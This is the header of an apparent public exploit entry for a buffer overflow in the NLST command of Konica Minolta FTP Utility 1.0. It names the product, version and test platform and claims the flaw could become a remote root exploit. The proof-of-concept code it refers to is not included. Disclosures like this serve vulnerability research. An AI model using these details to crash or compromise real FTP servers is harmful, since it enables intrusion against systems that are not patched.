• # Exploit Title: Konica Minolta FTP Utility 1.0 - 'NLST' Denial of Service (PoC) 
  # Date: 2020-05-16
  # Found by: Alvaro J. Gene (Socket_0x03)
  # Software Link: https://konica-minolta-ftp-utility.software.informer.com/download/
  # Vulnerable Application: Konica Minolta FTP Utility
  # Version: 1.0
  # Server: FTP Server
  # Vulnerable Command: NLST
  # Tested on: Windows 7 SP1
  
  # Impact: There is a buffer overflow vulnerability in the NLST command of the FTP server
  # "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers, 
  # such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite 
  # some registers, an individual can use the vulnerable command to build a remote buffer 
  # overflow exploit that will root a system without any user interaction.
